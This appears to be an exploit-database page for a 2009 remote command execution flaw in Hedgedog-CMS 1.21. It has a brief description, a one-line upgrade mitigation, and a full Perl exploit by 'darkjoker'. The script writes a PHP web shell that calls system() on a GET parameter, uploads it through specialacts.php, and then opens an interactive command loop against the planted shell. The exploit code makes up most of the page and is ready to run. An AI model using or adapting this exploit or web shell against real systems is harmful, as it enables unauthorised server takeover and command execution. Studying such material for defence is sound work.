header-logo
Suggest Exploit
vendor:
Hedgedog-CMS
by:
darkjoker
9.3
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: Hedgedog-CMS
Affected Version From: 1.21
Affected Version To: 1.21
Patch Exists: YES
Related CWE: N/A
CPE: a:hedgedog-cms:hedgedog-cms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Hedgedog-CMS <= 1.21 Remote Command Execution Exploit

Hedgedog-CMS version 1.21 and prior are vulnerable to a remote command execution vulnerability. An attacker can exploit this vulnerability by sending a malicious POST request to the specialacts.php script. This will allow the attacker to upload a malicious PHP shell to the user/upload/ directory. The attacker can then execute arbitrary commands on the vulnerable system by sending a GET request to the uploaded shell.

Mitigation:

Upgrade to the latest version of Hedgedog-CMS.
Source

Exploit-DB raw data:

--+++===================================================================+++--
--+++====== Hedgedog-CMS <= 1.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

sub usage
{
	print
		"\nHedgedog-CMS <= 1.21 Remote Command Execution Exploit".
		"\n[+] Author   : darkjoker".
		"\n[+] Site     : http://darkjoker.net23.net".
		"\n[+] Download : http://mesh.dl.sourceforge.net/sourceforge/hedgehog-cms/hedgehog-cms_v1.21.zip".
		"\n[+] Usage    : perl ${0} <hostname> <path>".
		"\n[+] Ex.      : perl ${0} localhost /hedgedogCMS".
		"\n\n";
	exit ();
}

sub upload_shell
{
	my ($host, $path) = @_;
	open SHELL, ">shell.php";
	print SHELL "<?php system (stripslashes (\$_GET ['cmd'])); ?>";
	close SHELL;
	my $url = "http://${host}${path}/specialacts.php";
	my $lwp = LWP::UserAgent->new;
	my $req = $lwp->request	(
					POST $url,
					Content_Type => 'multipart/form-data',
					Content	    => [l_mode => 1, l_file => ["shell.php"]],
				);
	unlink "shell.php";
	return 1 if ($req->is_success);
	return 0;
}

my ($host, $path) = @ARGV;
usage unless $path;
print "[-] Exploit failed.\n" unless upload_shell ($host, $path);
my $cmd;
my $url = "http://${host}${path}/user/upload/shell.php";
while (1)
{
	print "shell\@${host}: \$ ";
	$cmd = <STDIN>;
	chomp $cmd;
	exit if $cmd =~ /quit/;
	my $lwp = LWP::UserAgent->new;
	my $req = $lwp->get (
			    	$url . "?cmd=${cmd}",
			    );
	print $req->decoded_content;
}

# milw0rm.com [2009-02-09]